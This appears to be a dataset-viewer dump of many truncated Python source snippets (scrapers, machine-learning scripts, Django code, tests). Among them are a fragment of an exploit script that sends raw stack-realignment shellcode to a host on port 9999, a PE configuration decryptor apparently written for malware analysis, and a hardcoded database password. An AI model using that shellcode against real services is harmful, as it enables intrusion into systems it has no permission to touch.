content stringlengths 5 1.05M |
|---|
import time
from os import path
from collections import defaultdict
import pandas as pd
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from ... |
import pandas as pd
import matplotlib.pyplot as plt
import math
class Frame():
def __init__(self, path_):
self.path = path_
self.data =pd.read_csv(filepath_or_buffer=path_, delimiter=',')
def clean(self, subs:bool):
Ncol = len( self.data.columns )
self.data.dropna(inplace=Tru... |
# 본 Code에서 사용할 tensorflow, matplotlib.pyplot, nupmy, random을 import한다.
import tensorflow as tf
import matplotlib.pyplot as plt
import numpy as np
import random
# MNIST data를 불러오고 이를 one_hot encoding합니다.
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("./mnist/data/", one_ho... |
def kw_only_args(*, kwo):
pass
def kw_only_args_with_varargs(*varargs, kwo, another='default'):
pass
|
# Copyright 2017 NTRLab
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, softw... |
import logging
from logging.config import dictConfig
def setup(conf):
dictConfig(conf)
class LoggerMixIn:
def __init__(self, *args, **kwargs):
logger_name = getattr(self, "__logger_name__", self.__class__.__name__)
self.logger = logging.getLogger(logger_name)
for lvl in ["CRITICAL"... |
# Copyright © 2019 Province of British Columbia
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... |
from . import location
|
import os
import sys
import time
import machine
import badger2040
from badger2040 import WIDTH, HEIGHT
REAMDE = """
Images must be 296x128 pixel with 1bit colour depth.
You can use examples/badger2040/image_converter/convert.py to convert them:
python3 convert.py --binary --resize image_file_1.png image_file_2.png ... |
import requests
from requests_oauthlib import OAuth1
import json
reload(sys)
sys.setdefaultencoding("utf-8")
params = {'app_key': 'xx',
'app_secret': 'xx',
'access_token': 'xx-xx',
'access_secret': 'xx'}
auth = OAuth1(params['app_key'],
params['app_secret'],
... |
# -*- coding: utf-8 -*-
import matplotlib.pyplot as plt
from ....Functions.init_fig import init_fig
def plot(
self,
fig=None,
ax=None,
sym=1,
alpha=0,
delta=0,
is_edge_only=False,
comp_machine=None,
is_show_fig=True,
save_path=None,
win_title=None,
):
"""Plot the Machin... |
from core.Model import *
from core.Utils import Utils
from models.User import User
from models.AppVersion import AppVersion
class Device(Base, Model):
__tablename__ = "device"
id = Column(BigInteger, primary_key=True, autoincrement=True)
uuid = Column(String(300), nullable=False)
user_id = Column(Int... |
from .BaseCamera import BaseCamera
import numpy as np
import math
class PersPectiveCamera(BaseCamera):
def __init__(self):
BaseCamera.__init__(self, "PerspectiveCamera")
def get_projection_mat(self):
# http://www.songho.ca/opengl/gl_projectionmatrix.html
projection_mat = np.eye(4)
... |
"""
django admin pages for program support models
"""
from config_models.admin import ConfigurationModelAdmin
from django.contrib import admin
from openedx.core.djangoapps.programs.models import ProgramsApiConfig
class ProgramsApiConfigAdmin(ConfigurationModelAdmin):
pass
admin.site.register(ProgramsApiConfi... |
import pandas
def find_na(df):
print(pd.isna(df).sum())
|
#!/usr/bin/env python3
import pyglet
import glooey
import run_demos
window = pyglet.window.Window()
gui = glooey.Gui(window)
bin = glooey.Bin()
widget = glooey.Placeholder(100, 100)
bin.add(widget)
gui.add(bin)
@run_demos.on_space(gui)
def test_bin():
bin.add(widget)
yield "Put a widget in the bin."
bi... |
# -*- coding:utf-8 -*-
import os
import random
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import sentencepiece as spm
import tensorflow as tf
import tensorflow.keras.backend as K
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
random_seed = 1234
random.seed(random_seed)
np.random.seed(random_see... |
#!/usr/bin/python
import simple_test
simple_test.test("test9", ["-VVV", "-N", "--noise", "-rr", ], expect_fail=True)
|
import minpy
import minpy.numpy as np
import minpy.numpy.random as random
from minpy.core import grad_and_loss
# from examples.utils.data_utils import gaussian_cluster_generator as make_data
# from minpy.context import set_context, gpu
# Please uncomment following if you have GPU-enabled MXNet installed.
# This single... |
from .pytorch_sampler import PyTorchSampler
from .sampler import Sampler
from .unigram import UnigramDistribution
from .vocab import Vocabulary
|
import json
import os
import tempfile
from datetime import datetime, timedelta
from enum import Enum
from itertools import zip_longest, groupby
from threading import Timer
from typing import Any, List, Optional, Dict, Iterable, Tuple, Set
import sentry_sdk
from telegram import ParseMode, TelegramError, Update, Message... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/>
#
# Licensed under the GNU General Public License, version 3 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://jxs... |
#
# Copyright (c) 2017-2018 Joy Diamond. All rights reserved.
#
__import__('Boot').boot()
def line(format, *args):
print format % args
def main():
if 0:
from Pattern import make_match_function
joy_match = make_match_function('[Aa](m)i(?P<what>t)\Z')
else:
import _sre
... |
# -*- coding: utf-8 -*-
"""
Created on Wed Jul 20 15:12:49 2016
@author: uzivatel
"""
import numpy as np
import scipy
from functools import partial
from copy import deepcopy
from .general import Coordinate,Grid
from ...General.UnitsManager import PositionUnitsManaged,position_units
from ...General.types ... |
from unittest import TestCase
from unittest.mock import patch
import getting_logs
class TestGetLog(TestCase):
"""Testing of getting logs from a third-party resource.
Testing the correctness of the transmitted data
for saving to the database."""
@classmethod
def setUpClass(cls):
super().s... |
# coding: utf8
import requests
import json
import os
import time
import pymysql.cursors
connection = pymysql.connect(host='127.0.0.1', port=3306, user='ub', password='UB@018_world_cup', db='db_world_cup',
charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor)
g_stake_addre... |
from .bar import f
|
from django.contrib.auth.models import User
from django_grpc_framework import proto_serializers
import account_pb2
class UserProtoSerializer(proto_serializers.ModelProtoSerializer):
class Meta:
model = User
proto_class = account_pb2.User
fields = ['id', 'username', 'email', 'groups']
|
from minecraftmath import calculator
from system import window_management as wm
xFirThr = 0
zFirThr = 0
angleFirThr = 0
def findSecondSuggestedThrow(startPosX, startPosZ, startAngle):
global xFirThr, zFirThr, angleFirThr
xFirThr = startPosX
zFirThr = startPosZ
angleFirThr = startAngle
inRing, dist... |
"""The builtin object type implementation"""
from pypy.interpreter.baseobjspace import W_Root
from pypy.interpreter.error import OperationError, oefmt
from pypy.interpreter.gateway import applevel, interp2app, unwrap_spec
from pypy.interpreter.typedef import (
GetSetProperty, TypeDef, default_identity_hash)
from p... |
import collections
from sgfs import SGFS
ReferenceStatus = collections.namedtuple('ReferenceStatus', ('path', 'used', 'latest', 'is_latest', 'all'))
def check_paths(paths, only_published=True):
sgfs = SGFS()
res = []
for path in paths:
publishes = sgfs.entities_from_path(path... |
'''
Written by Jason Reaves - @sysopfb
Free to use, attribute properly.
'''
import sys
import pefile
import struct
import re
def decrypt(keystream, blob):
for i in range(len(blob)):
blob[i] ^= keystream[i%len(keystream)]
def rc4_crypt(data, sbox):
S = list(sbox)
out = []
i = j = 0
for char in data:
i = ( ... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__title__ = 'baidupcsapi'
__version__ = '0.2.12'
__author__ = 'mozillazg,latyas'
__license__ = 'MIT'
from .api import PCS |
import inspect
class SuperMixin(object):
def super(cls, *args, **kwargs):
frame = inspect.currentframe(1)
self = frame.f_locals['self']
methodName = frame.f_code.co_name
method = getattr(super(cls, self), methodName, None)
if inspect.ismethod(method):
return metho... |
#Includes BaseClassApi class
import BaseClassApi
class Augmentor(BaseClassApi.Api):
pass
#print "This is augmentor api class: \n"
def execute_augmentor_api():
BaseClassApi.Api.url_path = "api/v1/augmentors"
aug_api = Augmentor()
#This module gives list of organizations available.
... |
from ..abstract import ErdReadOnlyConverter
from ..primitives import *
from gehomesdk.erd.values.oven import OvenConfiguration, ErdOvenConfiguration
class OvenConfigurationConverter(ErdReadOnlyConverter[OvenConfiguration]):
def erd_decode(self, value: str) -> OvenConfiguration:
if not value:
n ... |
from __future__ import unicode_literals
import datetime
from django.http import Http404
from django.utils.timezone import utc
from model_mommy import mommy
from kb.tests.test import ViewTestCase
from kb.models import Article
class TestCategoryFeed(ViewTestCase):
view_name = 'kb:category_feed'
view_kwargs ... |
"""
test_ext_autodoc_configs
~~~~~~~~~~~~~~~~~~~~~~~~
Test the autodoc extension. This tests mainly for config variables
:copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
import platform
import sys
import pytest
from sphinx.testing imp... |
from collections import Counter
def mejority(lst):
freDict = Counter(lst)
size = len(lst)
for key, value in freDict.items():
if value > (size//2):
print(key)
return
print("None")
if __name__ == "__main__":
lst = [3, 3, 4, 2, 4, 4, 2, 2,2,2,2]
mejority(lst)
|
import pytest
import pathlib
from align.cell_fabric import Canvas, Pdk, Wire
mydir = pathlib.Path(__file__).resolve().parent
pdkfile = mydir.parent.parent / 'pdks' / 'FinFET14nm_Mock_PDK' / 'layers.json'
@pytest.fixture
def setup():
p = Pdk().load(pdkfile)
c = Canvas(p)
c.addGen( Wire( nm='m2', layer='M2... |
# -*- coding: utf-8 -*-
"""
Script Name: PipelineTool.py
Author: Do Trinh/Jimmy - 3D artist.
Description:
This is main UI of PipelineTool.
"""
# -------------------------------------------------------------------------------------------------------------
""" Import """
# PLM
from PLM ... |
from pyiced import (
column, css_color, IcedApp, Length, radio, Settings, text,
WindowSettings,
)
class RadioExample(IcedApp):
class settings(Settings):
class window(WindowSettings):
size = (640, 320)
def __init__(self):
self.__season = None
def title(self):
r... |
# Copyright (C) 2021 ServiceNow, Inc.
""" Combine output datasets from different source datasets
e.g. If you have generated training datasets for dataset A and dataset B
you can combine them into A+B using this script
It will *not* overwrite existing files (an error will be thrown).
Input files must ... |
import logging, queue
from datetime import datetime
import threading
from time import strftime
from .scanner_thread import ScannerThread
from scapy.all import *
class PyScanner:
def __init__(self, params_names={"-threads":5, "-ip": "127.0.0.1", "-ports":"0-100", "-scan_type": "S"}):
# print("ok")
#... |
def som(n):
if len(n) == 1: return n
s = 0
for i in range(len(n)):
s += int(n[i])
return som(str(s))
while True:
e = str(input()).split()
a = e[0]
b = e[1]
if a == b == '0': break
ta = som(a)
tb = som(b)
if ta > tb: print(1)
elif ta < tb: print(2)
else: prin... |
# Generated by Django 2.0.4 on 2018-12-13 12:38
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('tradukoj', '0007_bcp47_default'),
]
operations = [
migrations.CreateModel(
name='GetTextFile',
... |
import shutil
from pathlib import Path
import hydra
import matplotlib.pyplot as plt
import numpy as np
import torch
from hydra.utils import to_absolute_path
from omegaconf import OmegaConf
from torch import nn, optim
from torch.utils import data as data_utils
from torch.utils.tensorboard import SummaryWriter
from ttsl... |
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by applicable law or agreed to in writing, software
## distributed... |
from flask import flash
def Euclidean_Algorithm(number_x, number_y):
try:
x, y = int(number_x), int(number_y)
r = x % y
while r > 0:
x = y
y = r
r = x % y
else:
gcd = y
anser = str(number_x)+"と"+str(number_y)+"の最大公約数は"+str(gc... |
def extract_json(html):
|
# BSD 3-Clause License; see https://github.com/scikit-hep/awkward-1.0/blob/main/LICENSE
from __future__ import absolute_import
from awkward._ext import fromjson
from awkward._ext import uproot_issue_90
|
from django.urls import path
#from account.forms import LoginForm
from django.views.generic.base import TemplateView # new
from . import views
app_name = 'home'
urlpatterns = [
#ex: /roster/
path('', views.index, name='index'),
path('coachhome/<int:pk>', views.coachhome.as_view(template_name... |
# Copyright (c) 2018-2019 Robin Jarry
# SPDX-License-Identifier: BSD-3-Clause
from _libyang import ffi
from _libyang import lib
from .util import c2str
from .util import str2c
#------------------------------------------------------------------------------
def schema_in_format(fmt_string):
if fmt_string == 'yang... |
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
from google.ads.google_ads.v1.proto.resources import language_constant_pb2 as google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_language__constant__pb2
from google.ads.google_ads.v1.proto.services import language_constant_serv... |
import logging
from torch.utils.tensorboard import SummaryWriter
from utils.utils_common import DataModes
import torch
logger = logging.getLogger(__name__)
class Trainer(object):
def training_step(self, data, epoch):
# Get the minibatch
x, y = data
self.optimizer.zero_grad()
los... |
from datetime import datetime
from . import db, ma
class NRNumber(db.Model):
__tablename__ = 'nr_number'
# core fields
id = db.Column(db.Integer, primary_key=True)
nrNum = db.Column('nr_num', db.String(10), unique=True)
lastUpdate = db.Column('last_update', db.DateTime(timezone=True), d... |
"""
This module provides some helper methods to deal with multidimensional arrays of different axes order.
"""
import numpy as np
def adjustOrder(volume, inputAxes, outputAxes="txyzc"):
"""
This method allows to convert a given `volume` (with given `inputAxes` ordering)
into a different axis ordering, spe... |
from keras.models import load_model
from glob import glob
import keras
import numpy as np
from losses import *
import random
from keras.models import Model
from extract_patches import Pipeline
from scipy.misc import imresize
from keras.utils import np_utils
import SimpleITK as sitk
import pdb
import matplotlib.pyplot a... |
class Node:
def __init__(self, value):
self.value = value
self.next = None
def __repr__(self):
return str(self.value)
class LinkedList:
def __init__(self):
self.head = None
def __str__(self):
cur_head = self.head
out_string = ""
while cur_head:... |
# Generated by Django 2.2.12 on 2020-07-18 19:09
import ckeditor.fields
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0019_order_refrence_code'),
]
operations = [
migrations.AlterField(
model_name='historicalitem',
... |
import unittest
import math_module
class TestMath(unittest.TestCase):
def setUp(self):
self.zir = math_module.Analysis('test_zircon', 15, (0.2003, 0.0008, 0.0046), (2.082, 0.009, 0.07), 0.6, 0.6,
(0.0617, 0.0003, 0.0003), (0.758, 0.0003, 0.0015), (0, 0, 0), (0, 0, 0), (0,... |
PATHS = dict(
REPOS_FILE = 'config/repos.json',
DAILY_REPORTS_PATH = 'reports/daily',
WEEKLY_REPORTS_PATH = 'reports/weekly'
) |
from django.contrib import admin
from ddweb.apps.references.models import Reference
class ReferenceAdmin(admin.ModelAdmin):
list_display = (
"ship",
"year",
"description",
"ongoing",
"beforeDD",
"image_admin_url",
)
def image_admin_url(self, obj):
r... |
#!/usr/bin/env python
import numpy
import numpy.linalg
from pyscf import gto, scf, mcscf
mol = gto.M(atom=['H 0 0 %f'%i for i in range(10)], unit='Bohr',
basis='ccpvtz')
#
# A regular SCF calculation for this sytem will raise a warning message
#
# Warn: Singularity detected in overlap matrix (condition n... |
from numpy import prod
def persistence(n):
if n < 10: return 0
nums = [int(x) for x in str(n)]
steps = 1
while prod(nums) > 9:
nums = [int(x) for x in str(int(prod(nums)))]
steps += 1
return steps
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import socket
from time import sleep
from struct import *
host= "172.30.200.66"
port = 9999
payload = ""
# Estagio 2 -> Realinhamento da pilha para encontrar o FileDescriptor
payload += "\x54" # push esp
payload += "\x59" # p... |
from mpi4py import MPI
comm = MPI.COMM_WORLD
rank = comm.Get_rank()
size = comm.Get_size()
import numpy as np
################################################################################
###
### USAGE
### list_of_objects = parutil.init(list_of_object)
### ### DO WHAT YOU WANT
### list_of object = parut... |
#!/usr/bin/env python
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--input", type=str, help="database file input")
parser.add_argument("-o", "--output", type=str, help="filtered fasta output")
parser.add_argument("-k", "--keyword", type=str, help="filter records to include keyword")
ar... |
# PyAlgoTrade
#
# Copyright 2011-2018 Gabriel Martin Becedillas Ruiz
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ap... |
"""
Custom SCSS lexer
~~~~~~~~~~~~~~~~~
This is an alternative to the Pygments SCSS lexer
which is broken.
Note, this SCSS lexer is also broken, but just a bit less
broken.
"""
import re
from pygments.lexer import ExtendedRegexLexer
from pygments.lexers.css import (
bygroups, copy, Comment... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Create a fastq file from fasta file with fake quality values all equal.
"""
import sys
from Bio import SeqIO
# Get inputs
fa_path = sys.argv[1]
fq_path = sys.argv[2]
# Make fastq
with open(fa_path, "rb") as fasta, open(fq_path, "wb") as fastq:
for record in SeqI... |
from Common import *
import os
photos = set()
async def save_photo(photo):
id = photo.id
if id not in photos:
await bot.download_media(photo, get_path(id))
photos.add(id)
return get_path(id)
def rename_to_id(name, id):
os.rename(get_path(name), get_path(id))
photos.add(id)
de... |
from beem import Steem
stm = Steem()
print(stm.get_config(1)["STEEMIT_MAX_PERMLINK_LENGTH"])
print(stm.get_config()["STEEMIT_MIN_PERMLINK_LENGTH"])
|
from http.server import HTTPServer, SimpleHTTPRequestHandler, BaseHTTPRequestHandler
from zipreport.cli.debug.server import DebugServer
class DebugServerHandler(BaseHTTPRequestHandler):
def __init__(self, *args, report=None, **kwargs):
self._report = report
super().__init__(*args, **kwargs)
... |
# Generated by Django 3.2.7 on 2021-11-23 16:39
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('blog', '0001_initial'),
migrations.swappable_dependency(setting... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Copyright (c) 2021 Scott Weaver
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to u... |
from setuptools import setup, find_packages
from codecs import open
from os import path
here = path.abspath(path.dirname(__file__))
# Get the long description from the README file
with open(path.join(here, 'README.rst'), encoding='utf-8') as f:
long_description = f.read()
setup(
name='irobot',
... |
from helperfunctions_plot import *
from plane_relative import *
from denavit_hartenberg140 import *
import itertools as it
def work_it(M, func=n.diff, axis=1):
return np.apply_along_axis(func, axis, arr=M)
def get_closest_solutions_pair(s0, s1):
## diff_list = []
## index_list0 = []
## index... |
# -*- coding: utf-8 -*-
"""
Author:by 王林清 on 2021/10/31 18:44
FileName:lunyu.py in shiyizhonghua_resource
Tools:PyCharm python3.8.4
"""
from util import get_time_str, save_split_json, get_json
if __name__ == '__main__':
author = {
'name': '孔子',
'time': '春秋',
'desc': '孔子(公元前551年9月28日~公元前479... |
import cv2 as cv
import os
import numpy as np
class Cartonifier:
def __init__(self, n_downsampling_steps=2, n_filtering_steps=7):
self.num_down = n_downsampling_steps
self.num_bilateral = n_filtering_steps
# def process_folder(self, input_folder, output_folder):
# if not os.path.exis... |
"""
AR : conditional covariance based Granger Causality
===================================================
This example reproduces the results of Ding et al. 2006 :cite:`ding2006granger`
where in Fig3 there's an indirect transfer of information from Y->X that is
mediated by Z. The problem is that if the Granger Causa... |
#! bin/bash/python3
# Solution to Mega Contest 1 Problem: Sell Candies
for testcase in range(int(input())):
net_revenue = 0
n = int(input())
vals = list(map(int, input().split()))
vals.sort(reverse=True)
cost_reduction = 0
for val in vals:
net_revenue += max(val-cost_reduction, 0)
... |
# ------------------------------------------------------------------------
# DT-MIL
# Copyright (c) 2021 Tencent. All Rights Reserved.
# ------------------------------------------------------------------------
def build_dataset(image_set, args):
from .wsi_feat_dataset import build as build_wsi_feat_dataset
r... |
from .misc import (
camel_to_underscore,
convert_date,
convert_datetime,
dict_from_dataframe,
dir_list,
download_if_new,
get_ulmo_dir,
mkdir_if_doesnt_exist,
module_with_dependency_errors,
module_with_deprecation_warnings,
open_file... |
from flask import Flask
from flask import make_response
app = Flask(__name__)
@app.route('/')
def index():
response = make_response('<h1>This document carries a cookie!</h1>')
response.set_cookie('answer', '42')
return response
if __name__ == '__main__':
app.run()
|
#!/usr/bin/env /usr/bin/python3
# -*- coding: utf-8 -*-
from pymisp import PyMISP
from key import *
import json
import time
import os
from urllib.parse import urljoin
import sys
import traceback
from shutil import copyfile
import logging.handlers
from urllib.parse import quote
import argparse
logger = logging.getLog... |
# (C) Datadog, Inc. 2019-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
import os
import platform
import stat
import subprocess
import click
import requests
from ....fs import ensure_parent_dir_exists
from ...constants import get_root
from ...testing import get_test_envs
fro... |
#!/usr/bin/env python
"""
Partitioned Least Square class
Developer:
Omar Billotti
Description:
Partitioned Least Square class
"""
from numpy import shape, zeros, hstack, ones, vstack, sum as sum_elements, array, inf, where
from numpy.random import rand
from numpy.linalg import lstsq
from scipy.optimize import nnls
fr... |
import logging
from source.bridgeLogger import configureLogging
from nose2.tools.such import helper as assert_helper
def test_case01():
with assert_helper.assertRaises(TypeError):
configureLogging()
def test_case02():
with assert_helper.assertRaises(TypeError):
configureLogging('/tmp')
def... |
import unittest
from imdb_app_data.moviemodel import MovieModel
from imdb_app_logic.movie_scraper import MovieScraper
from imdb_app_logic.ratingcalculator import RatingCalculator
class Test(unittest.TestCase):
def test_scraper(self):
scraper = MovieScraper()
scraper.get_movie_list()
#... |
from docker import DockerClient
from pytest import fixture
from yellowbox.clients import open_docker_client
@fixture(scope="session")
def docker_client() -> DockerClient:
with open_docker_client() as client:
yield client
|
def flow_control(k):
if (k == 0):
s = "Variable k = %d equals 0." % k
elif (k == 1):
s = "Variable k = %d equals 1." % k
else:
s = "Variable k = %d does not equal 0 or 1." % k
print(s)
def main():
i = 0
flow_control(i)
i = 1
flow_control(i)
i = 2
flow_control(i)
if __name__ == "__main__":
... |
# Copyright 2012 Philip Chimento
"""Sound the system bell, Qt implementation."""
from pyface.qt import QtGui
def beep():
"""Sound the system bell."""
QtGui.QApplication.beep()
|
"""
agenda:
1. speedup visualize_result
2. grouping labels
speed bottlenecks:
1. colorEncoding
results:
1. with visualize_result optimize: 0.045s --> 0.002s
2. with grouping labels: 0.002s --> 0.002-0.003s
"""
import os
import sys
import time
PATH = os.path.join(os.getcwd(), '..')
sys.path.append(PATH... |
#!/usr/bin/env python
#--------------------------------------------------------
# The classes will generates bunches for pyORBIT J-PARC linac
# at the entrance of LI_MEBT1 accelerator line (by default)
# It is parallel, but it is not efficient.
#--------------------------------------------------------
import math
im... |
import excursion
import excursion.testcases.fast as scandetails
import excursion.optimize
import numpy as np
import logging
def test_2d():
scandetails.truth_functions = [
scandetails.truth,
]
N_INIT = 5
N_UPDATES = 1
N_BATCH = 5
N_DIM = 2
X,y_list, gps = excursion.optimiz... |
#!/usr/bin/env python3
import time
import sys
import zmq
import numpy as np
import pyglet
from ctypes import byref, POINTER
from pyglet.gl import *
from pyglet.window import key
window = pyglet.window.Window(640, 640, style=pyglet.window.Window.WINDOW_STYLE_DIALOG)
def recv_array(socket):
"""
Receive a numpy... |
from django.urls import path
from . import views
urlpatterns = [
path('', views.mainpage_sec, name='index'),
path('authorize_ingress_sec', views.authorize_ingress_sec, name='authorize_ingress'),
path('revoke_ingress_sec', views.revoke_ingress_sec, name='authorize_ingress')
] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.Create... |
import json
import os
import shutil
from os import listdir
from os import path
from os.path import isfile, join
from zipfile import ZipFile
from shutil import copyfile
from glob import glob
import ntpath
import threading
import re
def find_all(name, path):
result = []
for root, dirs, files in os.walk(path):
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.